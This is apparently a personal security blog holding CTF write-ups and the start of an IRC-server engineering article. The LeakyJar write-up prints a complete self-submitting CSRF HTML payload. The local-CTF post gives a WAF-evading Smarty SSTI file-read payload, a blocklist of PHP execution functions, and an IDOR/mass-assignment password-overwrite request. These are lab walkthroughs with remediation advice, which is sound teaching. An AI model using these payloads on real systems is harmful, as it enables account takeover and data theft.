The Recipe Vault Manager: Allows authenticated operators to create markdown culinary notes, assign privacy levels (Private, Public, Shared), and manage team collaborations.
The Collaborative Sharing Engine: A dedicated backend REST API route (/api/v1/recipes/share) programmed to allow recipe creators to grant secondary user accounts read/write viewing authorizations across protected private items.
The Automated Administrative Triage Bot: An enterprise support ticket evaluation system running a headless Chromium browser instance. Users experiencing formatting anomalies can submit arbitrary external webpage URLs into a support feedback forum, causing the Admin Bot to visit and render the submitted URL within its authenticated system execution session!

2.1 Interrogating the Collaborative Sharing Endpoint

While auditing regular network traffic through Burp Suite during normal application testing, we intercepted the HTTP transmission request generated when an author invites a collaborator to view a private recipe note:

POST /api/v1/recipes/share HTTP/1.1
Host: leakyjar.intigriti.io
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Cookie: session_id=s%3A2984910283401923.xK89012398jalkd98; user_theme=dark
Origin: https://leakyjar.intigriti.io
Referer: https://leakyjar.intigriti.io/vault/settings

recipe_id=my_personal_soup_recipe&collaborator=test_user_account&permission_level=READ

Two glaring vulnerability signatures immediately stood out from this single protocol packet:

Absence of Synchronizer CSRF Tokens: Notice the absolute lack of any dynamic, cryptographically unpredictable token string (such as _csrf_token, authenticity_token, or explicit custom security request headers) inside both the HTTP parameters and transmission headers!
Permissive Content-Type Acceptance: The API accepts standard HTML Form serialization structures (application/x-www-form-urlencoded and text/plain). This confirms that traditional web form requests can trigger state-changing database operations without requiring complex Preflight CORS (Cross-Origin Resource Sharing) OPTIONS handshakes!

3. Deep Dive into Cookie Security: SameSite Fallouts

To understand why this missing token check transforms into a high-impact security compromise, we must evaluate the precise architectural mechanics of Modern HTTP Browser Cookie Attribution.

When a user logs into a typical web portal, the authentication engine issues a permanent session token preserved inside a browser storage cookie. When the user subsequently navigates around the web application, the internet browser automatically attaches that cookie to every outgoing request heading toward the origin domain.

3.1 The SameSite Security Hierarchy

To protect users from malicious external websites attempting to generate fraudulent unauthorized commands against logged-in services (CSRF), standard browser architecture enforces the SameSite cookie instruction, offering three strict enforcement levels:

+-----------------------------------------------------------------------------+
|                      SAMESITE BROWSER ENFORCEMENT MATRIX                    |
+-------+----------------------------+----------------------------------------+
| Level | Cross-Origin Behavior      | Architectural Security Verdict         |
+-------+----------------------------+----------------------------------------+
| Strict| Cookies are NEVER attached | Complete immunity against all Cross-   |
|       | to external cross-site     | Site Request Forgery attacks. Breaks   |
|       | navigation or form posts.  | user UX upon external URL links!       |
+-------+----------------------------+----------------------------------------+
| Lax   | Cookies attached ONLY on   | Standard modern default! Blocks forged |
|       | safe top-level navigations | POST/PUT/DELETE attempts while keeping |
|       | (HTTP GET anchor links).   | regular external web link usability.   |
+-------+----------------------------+----------------------------------------+
| None  | Cookies are ALWAYS attached| Dangerous fallback! Permits full       |
|       | across all external cross- | cross-site authentication transmissions.|
|       | site requests & form posts.| MUST be paired with explicit Secure tag|
|       |                            | and strict anti-CSRF token verification!|
+-------+----------------------------+----------------------------------------+

During our authentication flow inspection against LeakyJar's login gateway, we inspected the explicit server response header setting our persistent session token:

HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: session_id=s%3A2984910283401923.xK89012398jalkd98; Path=/; Secure; HttpOnly; SameSite=None

Notice the critical architectural disaster: the server developer explicitly declared SameSite=None! Because the developers likely attempted to support multi-domain iframe recipe embedding across third-party culinary blogs, they bypassed standard modern browser protections entirely. By declaring SameSite=None without implementing rigorous Anti-CSRF token synchronization validation, the application was left entirely exposed to Cross-Site Request Forgery exploitation!

4. Crafting the Autonomous Exploit Pipeline

With our architectural vulnerability chain confirmed, we engineered an automated Cross-Origin exploit pipeline designed to force the headless Chromium Admin Support Bot into transferring collaborative viewing authorizations over its private vault directly into our possession.

4.1 Step 1: Encompassing Target Recipe Identification

Through secondary profile metadata reconnaissance across public support directory logs, we identified that the primary administrative account (Chef_Admin_Root) maintained an encrypted private recipe item registered under the deterministic unique database reference designator: admin_secret_flag_recipe.

4.2 Step 2: Designing the Zero-Click HTML Exploit Payload

To ensure our attack executes silently and instantaneously when visited by the headless Admin support browser—without causing external page redirection breaks or visual interruptions—we construct an automated, self-submitting HTML Form wrapped cleanly within an isolated, zero-pixel display iframe:

<!DOCTYPE html>
<!-- /var/www/html/leak_vault.html -- Autonomous Cross-Site Request Forgery Exploit -->
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>LeakyJar Culinary Review Ticket</title>
</head>
<body style="background-color: #0f172a; color: #f8fafc; font-family: monospace; padding: 2rem;">
    <h2>Authenticating ticket review metrics... Please wait 3 seconds.</h2>

    <!-- Isolated invisible target iframe preventing browser location redirection -->
    <iframe name="silent_sink" id="silent_sink" style="display:none;" width="0" height="0" border="0"></iframe>

    <!-- Weaponized Form targeting vulnerable sharing REST endpoint -->
    <form id="csrf_payload_form" 
          action="https://leakyjar.intigriti.io/api/v1/recipes/share" 
          method="POST" 
          target="silent_sink">
          
        <!-- Inject target recipe identification attribute -->
        <input type="hidden" name="recipe_id" value="admin_secret_flag_recipe" />
        
        <!-- Specify our unprivileged attacker user identity as recipient collaborator -->
        <input type="hidden" name="collaborator" value="onevilx_hacker_account" />
        
        <!-- Demand absolute READ authorization clearances -->
        <input type="hidden" name="permission_level" value="READ" />
    </form>

    <script type="text/javascript">
        // Execute instant zero-click automated payload transmission upon DOM load completion
        window.addEventListener("DOMContentLoaded", function() {
            console.log("[*] Headless browser target detected. Executing silent CSRF payload injection...");
            document.getElementById("csrf_payload_form").submit();
            console.log("[+] Transmission completed! Collaborator authorization forged.");
        });
    </script>
</body>
</html>

5. Execution & Flag Vault Extraction

We deploy our autonomous HTML document directly onto our externally exposed testing server domain (http://onevilx-exploit.tld/leak_vault.html).

Next, we navigate to the LeakyJar Support Review forum and submit a high-priority ticket request requesting automated verification of our external link:

[Support Request Type: Page Rendering Display Glitch]
Message: Our external recipe blog widget fails to load dark mode formatting correctly. Please have the evaluation bot review our test link immediately:
URL Target: http://onevilx-exploit.tld/leak_vault.html

5.1 Telemetry Verification & Capture

Within 14 seconds of submission, our web server interception access log records an inbound connection arriving directly from Intigriti's automated testing cluster:

217.182.xxx.xxx - - [29/Jun/2026:18:42:01 +0000] "GET /leak_vault.html HTTP/1.1" 200 1284 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/124.0.0.0 Safari/537.36"

The headless Chromium Admin Bot renders our page, immediately executes our embedded Javascript DOM event listener, and silently launches an asynchronous cross-origin HTTP POST transmission toward https://leakyjar.intigriti.io/api/v1/recipes/share.

Because its active session cookie carried the explicit SameSite=None; Secure directive, Chromium dutifully bundled the Admin's root session authentication credentials straight into our forged form transmission! The vulnerable application backend validated the legitimate admin session, processed our request, and seamlessly attached our user account (onevilx_hacker_account) to the private recipe ACL registry!

Returning to our unprivileged attacker browser session, we refresh our personal Shared Recipes navigation dashboard. A newly unlocked item—"Admin Master Recipe & System Secret"—appears available for direct review!

# 🍲 Chef Admin's Master Secret Recipe (CLASSIFIED)

Welcome, authorized collaborator! Here is the master secret ingredients ledger for the LeakyJar championship broth:
- 500ml of organic non-blocking C++ sockets
- 2 tablespoons of unencrypted supply chain metadata
- 1 dash of relaxed SameSite origin cookies

## 🏆 Official Challenge Vault Flag:
`INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}`

Flag Captured: INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}

6. Remediation & Enterprise Defensive Engineering

Eliminating Cross-Site Request Forgery vulnerabilities in modern distributed applications demands enforcing robust, defense-in-depth authorization verification across all state-changing API endpoints.

+-----------------------------------------------------------------------------+
|                      SECURE SESSION & CSRF ARCHITECTURE                      |
+-----------------------------------------------------------------------------+
| 1. Enforce SameSite=Lax or Strict: Clamp browser cookie behaviors to prevent|
|    automatic cross-origin authentication credential attachments.             |
| 2. Implement Synchronizer CSRF Tokens: Require unguessable, randomized per- |
|    session security tokens verified across all POST/PUT/DELETE operations.   |
| 3. Demand Content-Type Validation: Restrict state modifying APIs exclusively|
|    to strict application/json headers, forcing Preflight CORS enforcement!   |
+-----------------------------------------------------------------------------+

6.1 Fix 1: Reconfiguring Cookie Attribution (Fail-Secure)

When issuing authentication session identifiers, application configuration frameworks must explicitly restrict cookie sharing policies by defaulting to SameSite=Lax or SameSite=Strict:

// Node.js / Express -- Hardening Session Cookie Attribution Profiles
import session from 'express-session';

app.use(session({
    secret: process.env.SECURE_SESSION_ENCRYPTION_KEY,
    resave: false,
    saveUninitialized: false,
    cookie: { 
        secure: true,            // Require encrypted HTTPS transport connections
        httpOnly: true,          // Prevent Javascript document.cookie XSS extraction
        sameSite: 'lax',         // BLOCK cross-site forged authentication transmissions!
        maxAge: 3600000          // Expire dormant idle sessions after 60 minutes
    }
}));

6.2 Fix 2: Integrating Cryptographic Anti-CSRF Token Validation

If architectural design explicitly necessitates maintaining SameSite=None (such as verified cross-domain payment processor integrations or authenticated embedded SaaS widgets), backend endpoints must enforce rigid Synchronizer CSRF Token Validation Middleware:

// Implementing cryptographic Anti-CSRF token synchronization utilizing csurf
import csrf from 'csurf';

const csrfProtectionMiddleware = csrf({ cookie: false });

// Apply token validation strictly over collaborative sharing execution endpoints
app.post('/api/v1/recipes/share', csrfProtectionMiddleware, (req, res) => {
    // Execution reaches this block ONLY if an unguessable valid CSRF token 
    // matches the authenticated user's current session store!
    const { recipe_id, collaborator, permission_level } = req.body;
    grantAccessRights(recipe_id, collaborator, permission_level);
    return res.status(200).json({ status: "SUCCESS: Share authorization confirmed." });
});

7. Bug Bounty Key Takeaways

The LeakyJar challenge reinforces an indispensable reality for bug bounty hunters assessing modern Web 3.0 portals, Enterprise SaaS tools, and Single Page Applications: classic logical vulnerabilities thrive wherever modern abstraction layers intersect with legacy HTTP mechanics.

When performing targeted offensive reconnaissance across Bug Bounty programs, maintain these strategic principles:

Always Inspect Set-Cookie Headers: Never assume modern platforms use safe session defaults. Make it a mandatory step to inspect every Set-Cookie header across authentication gateways. Whenever you observe SameSite=None, flag that asset immediately for systematic CSRF testing!
Test API Content-Type Flexibility: Many REST endpoints documented as demanding strict application/json payloads will silently accept and parse traditional HTML Form encoded transmissions (application/x-www-form-urlencoded). Downgrading Content-Types allows you to execute cross-origin POST attacks without triggering CORS browser Preflight blocks!
Hunt for Blind Collaborative Bypasses: Wherever an application permits inviting collaborative viewers, sharing project dashboards, or exporting system reports, test whether those API endpoints verify token synchronization. Forging an authorization share request represents an instant path to vertical privilege escalation!

📂 Explore My CTF & Web Security Research on GitHub

All accompanying markdown docs, exploit payloads, and web vulnerability analysis tooling are hosted directly in my open-source repository:

<div class="my-6"> <a href="https://github.com/onevilx/Writeups" target="_blank" class="not-prose block p-6 bg-gradient-to-r from-indigo-900/40 to-purple-900/40 hover:from-indigo-900/60 hover:to-purple-900/60 border border-indigo-500/30 hover:border-indigo-400/60 rounded-2xl transition duration-300 shadow-xl hover:shadow-indigo-500/10 group"> <div class="flex items-center justify-between"> <div class="flex items-center space-x-4"> <div class="p-3 bg-indigo-500/20 text-indigo-400 rounded-xl group-hover:scale-110 transition duration-300"> <svg xmlns="http://www.w3.org/2000/svg" class="h-8 w-8" fill="currentColor" viewBox="0 0 24 24"> <path d="M12 0C5.37 0 0 5.37 0 12c0 5.31 3.435 9.795 8.205 11.385.6.105.825-.255.825-.57 0-.285-.015-1.23-.015-2.235-3.015.555-3.795-.735-4.035-1.41-.135-.345-.72-1.41-1.23-1.695-.42-.225-1.02-.78-.015-.795.945-.015 1.62.87 1.845 1.23 1.08 1.815 2.805 1.305 3.495.99.105-.78.42-1.305.765-1.605-2.67-.3-5.46-1.335-5.46-5.925 0-1.305.465-2.385 1.23-3.225-.12-.3-.54-1.53.12-3.18 0 0 1.005-.315 3.3 1.23.96-.27 1.98-.405 3-.405s2.04.135 3 .405c2.295-1.56 3.3-1.23 3.3-1.23.66 1.65.24 2.88.12 3.18.765.84 1.23 1.905 1.23 3.225 0 4.605-2.805 5.625-5.475 5.925.435.375.81 1.095.81 2.22 0 1.605-.015 2.895-.015 3.3 0 .315.225.69.825.57A12.02 12.02 0 0024 12c0-6.63-5.37-12-12-12z"/> </svg> </div> <div> <h4 class="text-xl font-bold text-white group-hover:text-indigo-300 transition duration-300 flex items-center gap-2"> onevilx / Writeups <span class="text-xs px-2.5 py-0.5 rounded-full bg-indigo-500/20 text-indigo-300 border border-indigo-500/30">GitHub Repository</span> </h4> <p class="text-neutral-300 text-sm mt-1">Explore my complete repository of CTF writeups, web exploitation proof-of-concepts, and systems programming projects.</p> </div> </div> <div class="text-indigo-400 group-hover:translate-x-1 transition duration-300"> <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3" /> </svg> </div> </div> </a> </div>

Special thanks to the Intigriti challenges community and the LeakyJar architects for engineering an incredibly fun, highly instructive real-world web exploitation laboratory.

Local CTF 1337 — Smarty SSTI, IDOR & OSINT

Fri, 15 May 2026 00:00:00 GMT

Event: Local CTF Tournament — 1337 School (42 Network)
Target Categories: Advanced Web Exploitation & Misc (Forensics / OSINT / Cryptography)
Source Code & Complete Repository: onevilx/Writeups - Local CTF 1337

1. Executive Summary & Tournament Triage

Competitive cybersecurity events hosted inside 1337 School (42 Network) are legendary for their realistic offensive security engineering challenges. Rather than relying on artificial guesswork, challenges challenge operators to combine rigorous code auditing, API traffic dissection, custom Python exploitation tooling, and investigative OSINT techniques.

In this deep-dive technical publication, I present my complete, verified writeups and underlying exploit code for four standout challenges from the recent Local CTF tournament: two intricate Web Exploitation problems (Notebook and new intra) and two sophisticated Misc/Forensics evaluations (July Pool 2024 and Waya Dazai khsna nl9aw stage).

2. Web Challenge 1: Notebook (Smarty SSTI & WAF Bypass)

Category: Web
Difficulty: Easy
Vulnerability: Server-Side Template Injection (Smarty PHP) + Custom WAF Evasion

2.1 Reconnaissance & Backend Discovery

In the Notebook challenge, we are presented with a simple blog interface where students can post comments and test markdown rendering via an active preview engine. Whenever user input is reflected directly into an HTML rendering container, testing for Server-Side Template Injection (SSTI) becomes priority number one.

Submitting the test expression {{7*7}} caused the server to render 49 directly into the DOM! To map the specific server framework, I conducted structural probe tests and confirmed the underlying server runtime was running PHP driven by the Smarty Templating Engine.

+-----------------------------------------------------------------------------+
|               NOTEBOOK SMARTY SSTI WAF BYPASS ARCHITECTURE                  |
+-----------------------------------------------------------------------------+
| WAF Blocklist: system, exec, flag, {php}, $smarty, /etc, base64, eval...    |
| Length Limit:  <= 200 characters | Max Pipes '|': <= 3                       |
|                                                                             |
| Evasion Strategy (Dynamic String Concat + Native PHP Function Piping):      |
| Step 1: {assign var="x" value="/f"|cat:"lag.txt"} -> $x = "/flag.txt"     |
| Step 2: {$x|file_get_contents}                    -> Reads flag cleanly!     |
|                                                                             |
| [Captured Output] -> leet{sm4r7y_7pl_1nj3c710n_n0_w4f_c4n_s70p_m3}          |
+-----------------------------------------------------------------------------+

2.2 Auditing the Custom WAF & Code Restrictions

Inspecting the application source revealed that user inputs submitted via the text GET parameter pass through a custom Web Application Firewall (WAF) before executing inside a Smarty string: evaluation resource ($smarty->fetch('string:' . $tpl_string)):

$BLOCKLIST = [
    'system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open', 'pcntl_exec',
    'eval', 'assert', '\{php\}', '\{\/php\}', 'flag', '\/etc', 'proc', '\$smarty',
    'base64', 'hex2bin', 'call_user_func', 'preg_replace', 'create_function',
    'include', 'require'
];

if (strlen($text) > 200 || substr_count($text, '|') > 3 || is_blocked($text, $BLOCKLIST)) {
    die("WAF: blocked pattern detected or input constraints breached.");
}

The WAF blocks typical Smarty command execution tricks: we cannot use {php}system('id'){/php}, we cannot access the built-in $smarty environmental array, we cannot invoke system or exec, and the literal string flag is completely banned! Moreover, input length is strictly restricted to 200 characters with a maximum of 3 piping filter operators (|).

2.3 Crafting the Bypassed SSTI Payload

To bypass keyword detection while adhering to tight character limits, we can leverage Smarty's native variable assignment ({assign}) and string concatenation filter (|cat:). By splitting the word "flag.txt" into disconnected string segments ("/f" and "lag.txt"), we slip straight through regular expression blocklists!

Once our path string is stored inside a runtime variable ($x), we utilize a single remaining Smarty modifier pipe to feed the target filepath directly into an unblocked native PHP filesystem reader: file_get_contents!

{assign var="x" value="/f"|cat:"lag.txt"}{$x|file_get_contents}

Final Exploit Request URL:

GET /?action=preview&text={assign%20var=%22x%22%20value=%22/f%22|cat:%22lag.txt%22}{$x|file_get_contents} HTTP/1.1
Host: 104.199.105.242:4242

Submitting this URL forces Smarty to assemble the target string dynamically in system memory and immediately prints our winning flag directly inside the HTML preview response: $$\mathbf{leet{sm4r7y_7pl_1nj3c710n_n0_w4f_c4n_s70p_m3}}$$

3. Web Challenge 2: new intra (IDOR & Mass Assignment)

Category: Web
Difficulty: Medium
Vulnerability: IDOR combined with Mass Assignment leading to Admin Account Takeover

3.1 Portal Architecture & Access Mapping

This blackbox engagement models a student administration platform featuring profile customization, a dedicated /staff login portal, and a protected /admin dashboard. Initial testing against the /admin destination returned a rigid 403 Forbidden error response—confirming that only high-privilege staff accounts (specifically the legendary root administrator account: bocal) are allowed entry.

While auditing the user profile settings dashboard, I observed that modifying basic profile attributes (such as changing an academic motto or profile avatar) triggered asynchronous JSON PUT requests directed at an authenticated API endpoint:

PUT /api/profile/153 HTTP/1.1
Host: intra.challenge.local
Content-Type: application/json

{"title": "writer's soul", "bio": "Hunting bugs across 1337 systems."}

3.2 IDOR Discovery & Built-in Account Privilege Reset

Notice the explicit numeric identifier appended to the routing path (/api/profile/153). To test for Insecure Direct Object References (IDOR), I intercepted the request in Burp Suite and swapped my profile ID (153) for targeting neighboring accounts. While standard user profiles rejected unauthorized modification attempts, continuous fuzzing revealed an incredible architectural oversight: built-in core staff accounts (IDs 1 through 6) lacked proper access control validation bindings!

Targeting account ID 1 (the foundational bocal admin account), I combined the IDOR vulnerability with a classic Mass Assignment injection—forcefully appending a "password" update attribute into the transmitted payload body:

{
  "title": "Compromised by onevilx",
  "bio": "Account Taken Over",
  "password": "test"
}

Submitting this combined exploit payload against PUT /api/profile/1 returned a triumphant 200 OK success confirmation! I immediately navigated to the /staff sign-in gateway, authenticated using the target username bocal and my freshly injected password (test), and unlocked complete unrestricted administrative access into the /admin dashboard to capture the flag!

4. Misc Challenge 1: July Pool 2024 (Git Object Forensics)

Category: Forensics / Git Mechanics
Difficulty: Easy
Vulnerability: Sensitive Data Recovery via Unreachable Git Objects & Dangling Commits

4.1 Unpacking the Piscine Archive

In this forensics challenge, we receive an archive named pool.zip containing 1337 bootcamp source files along with a concealed version control repository (.git). When inexperienced developers clean sensitive secrets out of source codes, they mistakenly assume that executing git rm file or performing hard history resets erases historical records forever.

Upon extracting the archive and inspecting commit logs via git log -p | grep -i "leet{" and checking remote branches via git log --all -p, standard queries returned zero matches. The target secret had been completely expunged from all active project timelines!

4.2 Mining Orphaned Blobs & Dangling Commits

When commits are orphaned via hard branch resets or rebase actions, underlying data blobs remain preserved inside the .git/objects/ internal cryptographic database until an aggressive garbage collection pruning loop (git gc) executes. To inspect unreachable database structures, I invoked Git's internal file system check tool:

# Recover unreachable repository blobs and verify internal object integrity
git fsck --unreachable
git fsck --lost-found

+-----------------------------------------------------------------------------+
|                    GIT FORENSICS RECOVERY WORKFLOW                          |
+-----------------------------------------------------------------------------+
| 1. Standard search: git log --all -p -> Result: 0 matches (History purged)   |
| 2. File System Check: git fsck --unreachable                                |
|    [Output] -> Uncovers multiple dangling commits & unlinked blobs!         |
| 3. Dump Object Memories: git show <dangling_hash>                           |
| 4. Reconstruct fragmented flag string from orphaned repository blobs!       |
+-----------------------------------------------------------------------------+

The fsck operation successfully extracted numerous unlinked dangling commits and restored orphaned files into .git/lost-found/. By writing a simple bash iteration loop invoking git show across every single uncovered dangling commit hash, I identified the original pre-deletion development staging commits and easily assembled the fragmented challenge flag!

5. Misc Challenge 2: Waya Dazai khsna nl9aw stage (Stego + OSINT + Crypto)

Category: Stego / OSINT / Cryptography
Difficulty: Hard
Vulnerability: Chained COM Marker Extraction, LinkedIn OSINT & ROT47 / AES-CBC Decryption

5.1 Step 1: Steganography (COM Marker Extraction)

We are supplied with a seemingly ordinary image file: olddays1337.jpeg. JPEGs rely on sequential hexadecimal framing markers. While standard image viewing software strictly evaluates image rendering stream boundaries, custom payloads can be injected cleanly inside unparsed comment markers without corrupting visual graphics!

By evaluating the hex structure of olddays1337.jpeg via binwalk and hexadecimal inspection tools, I uncovered a concealed JPEG Comment (COM) marker (FF FE) injected immediately before the Start of Stream (FF DA / SOS) boundary!

The marker contained a 128-character hexadecimal string representing an encrypted ciphertext: ae8021aa5e4357a9d386fe2794003206d3cb0b231ec461cf48f6538f92a7d197c7009d5ba117cc9154ab207f14db634409055923f39ed4f9489f961a9c308272

5.2 Step 2: OSINT (Tracking the Author's Digital Footprint)

To decrypt this hex sequence, we needed an encryption passphrase. The challenge title and brief provided a critical dialect hint: "Waya Dazai khsna nl9aw STAGE" (Moroccan Darija meaning "Hey Dazai we need to find an internship / stage").

Following standard OSINT methodologies, I researched the challenge author's handle (onevilx). Querying Google and cross-referencing competitive tournament leaderboards on CTFtime revealed the researcher's full legal profile. Knowing that professional student internships ("stage") are advertised across corporate networking platforms, I investigated the author's public LinkedIn profile (https://www.linkedin.com/in/onevilx/).

Buried within an experience description entry on LinkedIn stood a suspicious cipher string:

<6Ji =66E04E7=@42=0`bbf

Analyzing the character distribution and ASCII frequency mapping confirmed this string was encoded utilizing ROT47. Running ROT47 substitution decryption instantaneously revealed our valid passphrase: $$\mathbf{leet_ctflocal_1337}$$

5.3 Step 3: Cryptography (Automated AES-CBC Decryption)

The extracted 128-character hex payload represented a 16-byte Initialization Vector (IV) followed by an AES-256-CBC encrypted ciphertext. To break the cipher, we derive our 256-bit cryptographic key by executing a standard SHA-256 digest hashing loop over our OSINT passphrase (leet_ctflocal_1337).

Below is the complete Python production decryption script (exp.py) that I programmed to automatically unpack the cryptographic payload:

#!/usr/bin/env python3
# exp.py -- Waya Dazai AES-CBC Decryption Tool
import hashlib
import binascii
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 1. Provide the passphrase successfully harvested via LinkedIn OSINT & ROT47
PASSPHRASE = "leet_ctflocal_1337"

# 2. Derive the 256-bit AES encryption key via SHA-256 hashing
key = hashlib.sha256(PASSPHRASE.encode()).digest()

# 3. Hexadecimal payload extracted directly from olddays1337.jpeg COM marker (FF FE)
extracted_hex = "ae8021aa5e4357a9d386fe2794003206d3cb0b231ec461cf48f6538f92a7d197c7009d5ba117cc9154ab207f14db634409055923f39ed4f9489f961a9c308272"
extracted_bytes = binascii.unhexlify(extracted_hex)

# 4. Separate the 16-byte Initialization Vector (IV) from the core ciphertext
iv = extracted_bytes[:16]
ciphertext = extracted_bytes[16:]

# 5. Initialize AES cipher in CBC mode and decrypt target buffer
cipher = AES.new(key, AES.MODE_CBC, iv)
padded_flag = cipher.decrypt(ciphertext)

# 6. Remove cryptographic block padding and print winning flag
flag = unpad(padded_flag, AES.block_size)
print("[+] Decrypted Winning Flag:", flag.decode())

Executing python3 exp.py directly across our local shell instantly strips the CBC block padding and unmasks the ultimate multi-stage competition flag:

[+] Decrypted Winning Flag: leet{m4st3rm1nd_0s1nt_w1th_st3g_4nd_crypt0}

📂 Explore My CTF & Bug Bounty Repositories

Every single challenge writeup, custom tool, analysis pipeline, and original Python exploit script demonstrated across this publication is archived cleanly within my public GitHub repository:

<div class="my-6"> <a href="https://github.com/onevilx/Writeups/tree/main/CTFs/localctf1337" target="_blank" class="not-prose block p-6 bg-gradient-to-r from-emerald-900/40 to-teal-900/40 hover:from-emerald-900/60 hover:to-teal-900/60 border border-emerald-500/30 hover:border-emerald-400/60 rounded-2xl transition duration-300 shadow-xl hover:shadow-emerald-500/10 group"> <div class="flex items-center justify-between"> <div class="flex items-center space-x-4"> <div class="p-3 bg-emerald-500/20 text-emerald-400 rounded-xl group-hover:scale-110 transition duration-300"> <svg xmlns="http://www.w3.org/2000/svg" class="h-8 w-8" fill="currentColor" viewBox="0 0 24 24"> <path fill-rule="evenodd" clip-rule="evenodd" d="M12 2C6.477 2 2 6.484 2 12.017c0 4.425 2.865 8.18 6.839 9.504.5.092.682-.217.682-.483 0-.237-.008-.868-.013-1.703-2.782.605-3.369-1.343-3.369-1.343-.454-1.158-1.11-1.466-1.11-1.466-.908-.62.069-.608.069-.608 1.003.07 1.53 1.032 1.53 1.032.892 1.53 2.341 1.088 2.91.832.092-.647.35-1.088.636-1.338-2.22-.253-4.555-1.113-4.555-4.951 0-1.093.39-1.988 1.029-2.688-.103-.253-.446-1.272.098-2.65 0 0 .84-.27 2.75 1.026A9.564 9.564 0 0112 6.844c.85.004 1.705.115 2.504.337 1.909-1.296 2.747-1.027 2.747-1.027.546 1.379.202 2.398.1 2.651.64.7 1.028 1.595 1.028 2.688 0 3.848-2.339 4.695-4.566 4.943.359.309.678.92.678 1.855 0 1.338-.012 2.419-.012 2.747 0 .268.18.58.688.482A10.019 10.019 0 0022 12.017C22 6.484 17.522 2 12 2z" /> </svg> </div> <div> <h4 class="text-xl font-bold text-white group-hover:text-emerald-300 transition duration-300 flex items-center gap-2"> onevilx / Writeups / CTFs / localctf1337 <span class="text-xs px-2.5 py-0.5 rounded-full bg-emerald-500/20 text-emerald-300 border border-emerald-500/30">Exploit Scripts & Docs</span> </h4> <p class="text-neutral-300 text-sm mt-1">Access my original writeups, Python decryption engines, sample images, and proof-of-concept scripts directly on GitHub.</p> </div> </div> <div class="text-emerald-400 group-hover:translate-x-1 transition duration-300"> <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3" /> </svg> </div> </div> </a> </div>

Special thanks to the 1337 School infrastructure engineering staff for continuously architecting compelling, realistic vulnerability scenarios.

ft_irc — Building a Resilient IRC Server from Scratch in C++98

Sun, 15 Feb 2026 00:00:00 GMT

Source Code & Complete Repository: onevilx/ft_irc
Engineering Stack: C++98 / POSIX Non-Blocking Sockets (poll)
Environment: 1337 School (42 Network)

There is no substitute for building an operational network protocol server from scratch if you want to intimately understand modern distributed systems, socket communication, and offensive protocol exploitation. Modern developers rely on high-level networking libraries—Node.js event emitters, Python asyncio, Rust tokio, or Go goroutines—where connections are gracefully handled as abstracted streams or asynchronous promises. But under the hood of every network application lies the unyielding reality of operating system kernel file descriptors, blocking I/O interrupts, stream fragmentation, and memory synchronization.

In the ft_irc project at 1337 School (42 Network), the mission is absolute: design and engineer a high-performance, fully interoperable Internet Relay Chat (IRC) server in pure, modern-standard-deprived C++98, adhering strictly to the network communication rules defined in RFC 1459 and RFC 2812. The catch? You are forbidden from using external networking frameworks, threading libraries, or high-level process duplication (fork). The entire server must execute within a single-threaded asynchronous multiplexing loop utilizing system networking calls directly.

This article is an extensive engineering deep-dive into the design decisions, core socket programming mathematics, packet string buffering mechanics, security hardening against protocol-level denial of service attacks, and algorithmic implementations that drove this server from a raw TCP socket listener to a fully functional platform capable of handling real-world IRC clients like Irssi, WeeChat, and HexChat.

1. The Architectural Dilemma: Concurrency Without Multithreading

When designing an application capable of interacting with hundreds or thousands of simultaneous clients, the first engineering design decision is choosing the concurrency paradigm. Historically, network daemons deployed one of three operational models:

+-----------------------------------------------------------------------------+
|                      CONCURRENCY ARCHITECTURE COMPARISON                     |
+-----------------------------------+-----------------------------------------+
| Architecture                      | Operational Mechanics                   |
+-----------------------------------+-----------------------------------------+
| 1. Process-Per-Connection (fork)  | Parent binds/listens; calls fork() upon |
|                                   | accept(). High OS RAM & table overhead. |
| 2. Thread-Per-Connection (pthread)| Shared RAM space; spawns thread per     |
|                                   | client. High context-switch latency.    |
| 3. Single-Thread Multiplexing     | Single event loop polling FD arrays via |
|    (select / poll / epoll)        | poll() with O_NONBLOCK stream queues.   |
+-----------------------------------+-----------------------------------------+

The Fallacy of Thread-Per-Client Architectures

While assigning a dedicated execution thread (pthread_create or C++11 std::thread) to each incoming client appears intuitively simple, it catastrophically breaks down under load—a problem notoriously documented as the C10K Problem. Each thread demands an individual stack memory allocation (typically 1MB to 8MB in Linux environments), causing rapid Virtual Memory consumption. More critically, as active connections increase, the operating system kernel is forced into constant Thread Context Switching. The CPU spends significantly more computation clock cycles saving registers, clearing translation lookaside buffers (TLB), and switching execution contexts than it does processing actual payload traffic. Furthermore, thread shared-memory access requires complex concurrency locks (mutexes and spinlocks), introducing deadly race condition vulnerabilities and synchronization deadlocks.

The Power of Asynchronous Event-Driven Multiplexing

To achieve resilient performance with minimal memory overhead, ft_irc leverages I/O Multiplexing in a non-blocking single-threaded execution design. Instead of suspending program execution while waiting for a single slow network client to transmit a keystroke, all socket file descriptors (FDs) are marked as non-blocking (O_NONBLOCK). The operating system kernel is then queried via the poll() system call to determine exactly which client file descriptors have incoming data waiting in their interface buffers, which descriptors are ready to receive outbound writes, and which connections have terminated.

Why poll() instead of select() or Linux-native epoll()?

select() limitations: The traditional POSIX select() call is fundamentally bounded by FD_SETSIZE (hardcoded to 1024 file descriptors on most Linux systems). It requires re-initializing bitmask arrays on every individual iteration, creating $O(N)$ computational overhead just to query connection status.
epoll() / kqueue() considerations: While Linux epoll and BSD kqueue offer advanced $O(1)$ event-notification scaling via kernel red-black trees, they are proprietary, non-portable OS extensions.
The poll() equilibrium: poll() accepts a dynamically allocated contiguous array of pollfd structures, freeing our application from arbitrary numerical limits while maintaining cross-platform POSIX compliance and Deterministic $O(N)$ inspection loops—ideal for an RFC 2812 IRC network topology.

